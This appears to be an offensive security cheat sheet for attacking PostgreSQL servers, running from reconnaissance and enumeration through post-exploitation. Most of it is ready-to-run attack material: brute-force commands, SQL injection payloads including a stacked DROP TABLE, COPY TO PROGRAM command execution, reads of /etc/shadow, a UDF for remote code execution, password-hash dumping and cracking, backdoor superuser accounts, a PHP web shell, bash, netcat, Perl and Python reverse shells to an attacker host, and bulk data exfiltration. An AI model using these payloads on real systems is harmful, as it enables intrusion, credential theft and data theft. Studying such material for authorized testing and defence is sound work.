PostgreSQL

Default Port: 5432

PostgreSQL, also known as Postgres, is a powerful open-source object-relational database management system (ORDBMS). It emphasizes extensibility and SQL compliance, supporting both SQL (relational) and JSON (non-relational) querying. PostgreSQL is known for its robust feature set, reliability, data integrity, and strong community support. It's widely used in web applications, data warehousing, and as a backend for various enterprise applications.

Connect

Using psql Client

# Local connection
psql -U username

# Remote connection
psql -h target.com -p 5432 -U username -d database_name

# Connect without specifying database
psql -h target.com -U postgres

# Connection with password
psql -h target.com -U username -W

# Execute command directly
psql -h target.com -U username -d database_name -c "SELECT version();"

# Execute commands from file
psql -h target.com -U username -d database_name -f script.sql

Using pgAdmin (GUI)

Host: target.com
Port: 5432
Database: postgres
Username: postgres
Password: password

Connection URL Format

postgresql://username:password@hostname:port/database_name
postgresql://postgres:password@target.com:5432/app_db

Recon

Service Detection with Nmap

Use Nmap to detect PostgreSQL services and identify server capabilities.

nmap -p 5432 target.com

Connect to PostgreSQL servers to gather version and service information.

Using netcat

# Using netcat
nc -vn target.com 5432

Using nmap

# Using nmap
nmap -p 5432 -sV --script-args pgsql.username=postgres target.com

Using psql

# Using psql
psql -h target.com -U postgres -c "SELECT version();"

Enumeration

Version Detection

Extract PostgreSQL version and server information.

# PostgreSQL version
SELECT version();

# Server version number
SHOW server_version;
SHOW server_version_num;

# Detailed version info
SELECT current_setting('server_version');

Database Enumeration

Enumerating databases helps identify targets containing sensitive information and understand the application architecture.

# List all databases
\l
SELECT datname FROM pg_database;

# Current database
SELECT current_database();

# Database owner
SELECT pg_catalog.pg_get_userbyid(d.datdba) AS owner, datname 
FROM pg_catalog.pg_database d;

# Database size
SELECT pg_database.datname, 
       pg_size_pretty(pg_database_size(pg_database.datname)) AS size 
FROM pg_database;

# Number of connections per database
SELECT datname, count(*) FROM pg_stat_activity GROUP BY datname;

User Enumeration

Understanding user accounts, their privileges, and roles is crucial for privilege escalation attacks.

# List all users
\du
SELECT usename FROM pg_user;
SELECT usename, usesysid FROM pg_shadow;

# Current user
SELECT current_user;
SELECT user;
SELECT session_user;

# User privileges
SELECT usename, usecreatedb, usesuper FROM pg_user;

# Superusers
SELECT usename FROM pg_user WHERE usesuper = true;

# Users with create database privilege
SELECT usename FROM pg_user WHERE usecreatedb = true;

Schema and Table Enumeration

Enumerating schemas and tables helps map the database structure and locate sensitive data.

# List schemas
\dn
SELECT schema_name FROM information_schema.schemata;

# List tables in current database
\dt
SELECT table_name FROM information_schema.tables WHERE table_schema='public';

# List all tables across all schemas
SELECT schemaname, tablename FROM pg_tables;

# List columns in specific table
\d table_name
SELECT column_name, data_type FROM information_schema.columns 
WHERE table_name='users';

# Find sensitive columns
SELECT table_schema, table_name, column_name 
FROM information_schema.columns 
WHERE column_name LIKE '%password%' 
   OR column_name LIKE '%pass%'
   OR column_name LIKE '%secret%'
   OR column_name LIKE '%token%'
   OR column_name LIKE '%key%';

# Count rows in tables
SELECT schemaname, relname, n_live_tup 
FROM pg_stat_user_tables 
ORDER BY n_live_tup DESC;

Privilege Enumeration

Analyze user privileges and permissions.

# Current user privileges
\du+

# Table privileges for current user
SELECT grantee, privilege_type 
FROM information_schema.table_privileges 
WHERE grantee = current_user;

# Check if superuser
SELECT usesuper FROM pg_user WHERE usename = current_user;

# Check file read/write permissions
# Requires pg_read_file/pg_write_file functions
SELECT has_function_privilege('pg_read_file(text)', 'execute');
SELECT has_function_privilege('pg_ls_dir(text)', 'execute');

Function and Extension Enumeration

Discover installed functions and extensions that could be exploited.

# List installed extensions
\dx
SELECT extname, extversion FROM pg_extension;

# List functions
\df
SELECT proname FROM pg_proc WHERE proname !~ '^pg_';

# List large objects
\lo_list
SELECT oid, pg_size_pretty(lo_get(oid)) FROM pg_largeobject_metadata;

# Check for dangerous functions
SELECT proname FROM pg_proc 
WHERE proname IN ('pg_read_file', 'pg_ls_dir', 'pg_read_binary_file');

Configuration Enumeration

Extract PostgreSQL configuration and settings information.

# Important settings
SHOW all;
SHOW data_directory;
SHOW config_file;
SHOW hba_file;
SHOW log_directory;

# File locations
SELECT name, setting FROM pg_settings WHERE name LIKE '%file%' OR name LIKE '%dir%';

# Logging settings
SELECT name, setting FROM pg_settings WHERE name LIKE 'log%';

# Connection settings
SELECT name, setting FROM pg_settings WHERE category = 'Connections and Authentication';

Attack Vectors

Default Credentials

PostgreSQL installations often retain default credentials for system accounts.

# Common default credentials
postgres:postgres
postgres:<blank>
postgres:password
postgres:admin
admin:admin

# Try with psql
psql -h target.com -U postgres
psql -h target.com -U postgres -W  # Will prompt for password

Brute Force Attack

Brute forcing PostgreSQL credentials can reveal weak passwords on systems without account lockout.

Using Hydra

# Single user
hydra -l postgres -P /usr/share/wordlists/rockyou.txt target.com postgres

# Multiple users
hydra -L users.txt -P passwords.txt target.com postgres

Using Metasploit

use auxiliary/scanner/postgres/postgres_login
set RHOSTS target.com
set USERNAME postgres
set PASS_FILE passwords.txt
set STOP_ON_SUCCESS true
run

Using Nmap

nmap -p 5432 --script pgsql-brute --script-args userdb=users.txt,passdb=passwords.txt target.com

SQL Injection in PostgreSQL Context

PostgreSQL has unique SQL injection techniques and syntax.

# Error-based injection
' AND 1=CAST((SELECT version()) AS int)--

# Union-based injection
' UNION SELECT NULL, version(), NULL--
' UNION SELECT NULL, current_database(), NULL--

# Boolean-based blind
' AND (SELECT COUNT(*) FROM pg_user WHERE usename='postgres')=1--

# Time-based blind
' AND (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END)--
'; SELECT pg_sleep(5)--

# Stacked queries (if supported)
'; DROP TABLE test_table;--

Command Execution via COPY

PostgreSQL's COPY command can be exploited for file operations and command execution.

Read Files with COPY FROM

CREATE TABLE temp_table(content text);
COPY temp_table FROM '/etc/passwd';
SELECT * FROM temp_table;
DROP TABLE temp_table;

Write Files with COPY TO

COPY (SELECT 'malicious content') TO '/tmp/backdoor.txt';

Execute Commands via COPY PROGRAM

COPY (SELECT '') TO PROGRAM 'id > /tmp/command_output.txt';
COPY (SELECT '') TO PROGRAM 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1';

Large Object Exploitation

Use PostgreSQL large objects for file operations and data storage.

# Create large object from file
SELECT lo_import('/etc/passwd', 12345);

# Read large object
SELECT lo_get(12345);
SELECT convert_from(lo_get(12345), 'UTF8');

# Export large object
SELECT lo_export(12345, '/tmp/exported_file');

# Delete large object
SELECT lo_unlink(12345);

# List all large objects
SELECT oid FROM pg_largeobject_metadata;

pg_read_file Exploitation

Use PostgreSQL file reading functions for filesystem access.

# Read files (requires superuser or pg_read_server_files role)
SELECT pg_read_file('/etc/passwd');
SELECT pg_read_file('../../../../../../etc/passwd');
SELECT pg_read_file('/var/lib/postgresql/data/pg_hba.conf');

# Read configuration files
SELECT pg_read_file(current_setting('config_file'));
SELECT pg_read_file(current_setting('hba_file'));

# List directory
SELECT pg_ls_dir('/etc');
SELECT pg_ls_dir('/var/www/html');

# Read binary files
SELECT pg_read_binary_file('/etc/shadow');

Post-Exploitation

Password Hash Extraction

Extract PostgreSQL password hashes for offline cracking.

# Extract password hashes (requires superuser)
SELECT usename, passwd FROM pg_shadow;

# All user information
SELECT * FROM pg_authid;

# Using pg_dumpall
# From command line
pg_dumpall -h target.com -U postgres --roles-only > roles.sql

# Hashes are in SCRAM-SHA-256 or MD5 format
# Example: SCRAM-SHA-256$4096:salt$hash1:hash2

Hash Cracking

Crack extracted PostgreSQL password hashes using various tools.

# Extract hashes
psql -h target.com -U postgres -c "SELECT usename || ':' || passwd FROM pg_shadow;" > postgres_hashes.txt

# Crack with hashcat (PostgreSQL SCRAM-SHA-256)
hashcat -m 28600 postgres_hashes.txt rockyou.txt

# Crack MD5 (older PostgreSQL)
hashcat -m 0 md5_hashes.txt rockyou.txt

# Crack with John the Ripper
john --format=postgres postgres_hashes.txt

UDF (User Defined Functions) for RCE

Create and use User Defined Functions for remote code execution.

# Create C-based UDF for command execution
# First, compile UDF library

# Upload library
CREATE TABLE temp_udf(data text);
INSERT INTO temp_udf VALUES (pg_read_binary_file('/tmp/lib_postgresqludf_sys.so'));
-- Or use lo_import

# Create function
CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;

# Execute commands
SELECT sys_exec('id > /tmp/command_output.txt');
SELECT sys_exec('bash -i >& /dev/tcp/attacker-ip/4444 0>&1');

# Using sqlmap's lib_postgresqludf_sys
# Library provides: sys_exec, sys_eval, sys_bineval
SELECT sys_eval('whoami');

Privilege Escalation

Escalate privileges to gain full database control.

# Create new superuser
CREATE USER backdoor WITH PASSWORD 'P@ssw0rd123!' SUPERUSER;

# Grant superuser to existing user
ALTER USER existing_user WITH SUPERUSER;

# Grant all privileges
GRANT ALL PRIVILEGES ON DATABASE target_db TO backdoor;
GRANT ALL PRIVILEGES ON ALL TABLES IN SCHEMA public TO backdoor;

# Become another user (if you have access to pg_authid)
SET ROLE postgres;
SET SESSION AUTHORIZATION postgres;

Persistence

Create persistent backdoor access to PostgreSQL databases.

# Create backdoor superuser
CREATE USER system_admin WITH PASSWORD 'ComplexP@ss123!' SUPERUSER CREATEDB CREATEROLE;

# Create backdoor function
CREATE OR REPLACE FUNCTION backdoor() RETURNS TEXT AS $$
BEGIN
  PERFORM pg_sleep(1);
  RETURN 'OK';
END;
$$ LANGUAGE plpgsql;

# Create trigger for persistence
CREATE OR REPLACE FUNCTION backdoor_trigger() RETURNS TRIGGER AS $$
BEGIN
  -- Execute backdoor code
  PERFORM pg_sleep(1);
  RETURN NEW;
END;
$$ LANGUAGE plpgsql;

CREATE TRIGGER persistent_backdoor
AFTER INSERT ON some_table
FOR EACH ROW
EXECUTE FUNCTION backdoor_trigger();

Data Exfiltration

Extract sensitive data from PostgreSQL databases.

# Export sensitive data
COPY (SELECT * FROM users) TO '/tmp/users_data.csv' CSV HEADER;
COPY (SELECT * FROM credit_cards) TO '/tmp/cc_data.csv' CSV HEADER;

# Export with custom delimiter
COPY (SELECT username, password FROM accounts) TO '/tmp/credentials.txt' (DELIMITER ':');

# Export database schema
pg_dump -h target.com -U postgres -s database_name > schema.sql

# Export entire database
pg_dump -h target.com -U postgres database_name > database_backup.sql

# Export all databases
pg_dumpall -h target.com -U postgres > all_databases.sql

File System Access

Use PostgreSQL functions to access the underlying filesystem.

# Read files
SELECT pg_read_file('/etc/passwd', 0, 1000000);
SELECT pg_read_file('/var/www/html/config.php');

# Write files using COPY
COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php';

# Directory listing
SELECT pg_ls_dir('/etc');
SELECT pg_ls_dir('/var/www/html');

# Check file existence
SELECT pg_stat_file('/etc/passwd');

Reverse Shell

Establish reverse shell connections using PostgreSQL capabilities.

# Using COPY PROGRAM
COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/attacker-ip/4444 0>&1"';

# Using UDF
SELECT sys_exec('nc attacker-ip 4444 -e /bin/bash');

# Using Perl
COPY (SELECT '') TO PROGRAM 'perl -e "use Socket;$i=\"attacker-ip\";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/bash -i\");}"';

# Using Python
COPY (SELECT '') TO PROGRAM 'python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"attacker-ip\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])"';

Lateral Movement

Use compromised PostgreSQL access for lateral movement.

# Enumerate network (if UDF available)
SELECT sys_exec('ping -c 1 192.168.1.1');
SELECT sys_exec('nmap -sn 192.168.1.0/24');

# Access other databases with same credentials
psql -h another-host.com -U postgres

# Check for password reuse
# Use extracted credentials on SSH, RDP, other databases

CVE Exploitation

Exploit known PostgreSQL vulnerabilities for privilege escalation and RCE.

# CVE-2019-9193 (Authenticated RCE via COPY FROM PROGRAM)
# PostgreSQL 9.3 - 11.2
# Requires SUPERUSER or pg_execute_server_program role

psql -h target.com -U postgres -c "COPY (SELECT '') TO PROGRAM 'id > /tmp/pwned'"

# CVE-2018-1058 (Search Path Manipulation)
# Create malicious function in public schema
CREATE FUNCTION array_to_string(anyarray, text) RETURNS TEXT AS $$
BEGIN
  -- Malicious code
  PERFORM pg_sleep(10);
  RETURN '';
END;
$$ LANGUAGE plpgsql;

Common PostgreSQL Commands

Command	Description	Usage / Example
`\l`	Lists all available databases.	`\l`
`\c`	Connects to a specified database.	`\c database_name`
`\dt`	Lists tables in the current schema.	`\dt`
`\d table`	Displays the structure and definition of a table.	`\d users`
`\du`	Lists PostgreSQL roles and users.	`\du`
`\dn`	Lists available schemas.	`\dn`
`\df`	Lists available functions.	`\df`
`\dx`	Lists installed PostgreSQL extensions.	`\dx`
`\q`	Exits the PostgreSQL `psql` client.	`\q`
`SELECT version();`	Displays the PostgreSQL server version and build information.	`SELECT version();`
`SELECT current_user;`	Displays the username of the current database session.	`SELECT current_user;`
`SELECT current_database();`	Displays the name of the currently connected database.	`SELECT current_database();`

Useful PostgreSQL Security Testing Tools

Tool	Description	Primary Use Case
`psql`	Official PostgreSQL command-line client for connecting to and interacting with PostgreSQL servers.	Database connectivity, SQL queries, and security assessment
`pg_dump`	PostgreSQL utility for creating logical backups of individual databases.	Authorized database backup and data extraction
`pg_dumpall`	Utility for exporting all databases and cluster-wide objects from a PostgreSQL instance.	Full cluster backup and configuration assessment
pgAdmin	Web-based graphical administration and management platform for PostgreSQL.	Database administration, configuration review, and security testing
Metasploit Framework	Penetration testing framework containing modules for validating known vulnerabilities.	Authorized PostgreSQL vulnerability assessment
SQLmap	Automated SQL injection detection and testing tool.	Identifying and validating SQL injection vulnerabilities in applications
Hydra	Network authentication auditing tool supporting multiple protocols.	Authorized PostgreSQL credential-strength testing
Hashcat	High-performance password recovery and hash auditing tool.	Authorized password-hash strength assessment
John the Ripper	Password security auditing and hash recovery tool.	Password-hash analysis and credential-strength testing

Security Misconfigurations

❌ Default credentials (postgres:postgres)
❌ Weak or easily guessable passwords
❌ PostgreSQL superuser accessible remotely
❌ pg_hba.conf configured with unrestricted trust authentication
❌ SSL/TLS encryption disabled
❌ Overly permissive firewall rules
❌ Unnecessary or untrusted extensions installed
❌ PostgreSQL logging disabled or insufficient
❌ Outdated or unsupported PostgreSQL version
❌ COPY ... PROGRAM available to non-superuser roles
❌ File-system access functions unnecessarily exposed
❌ Missing or excessive connection limits

Connect​

Using psql Client​

Using pgAdmin (GUI)​

Connection URL Format​

Recon​

Service Detection with Nmap​

Banner Grabbing​

Using netcat​

Using nmap​

Using psql​

Enumeration​

Version Detection​

Database Enumeration​

User Enumeration​

Schema and Table Enumeration​

Privilege Enumeration​

Function and Extension Enumeration​

Configuration Enumeration​

Attack Vectors​

Default Credentials​

Brute Force Attack​

Using Hydra​

Using Metasploit​

Using Nmap​

SQL Injection in PostgreSQL Context​

Command Execution via COPY​

Read Files with COPY FROM​

Write Files with COPY TO​

Execute Commands via COPY PROGRAM​

Large Object Exploitation​

pg_read_file Exploitation​

Post-Exploitation​

Password Hash Extraction​

Hash Cracking​

UDF (User Defined Functions) for RCE​

Privilege Escalation​

Persistence​

Data Exfiltration​

File System Access​

Reverse Shell​

Lateral Movement​

CVE Exploitation​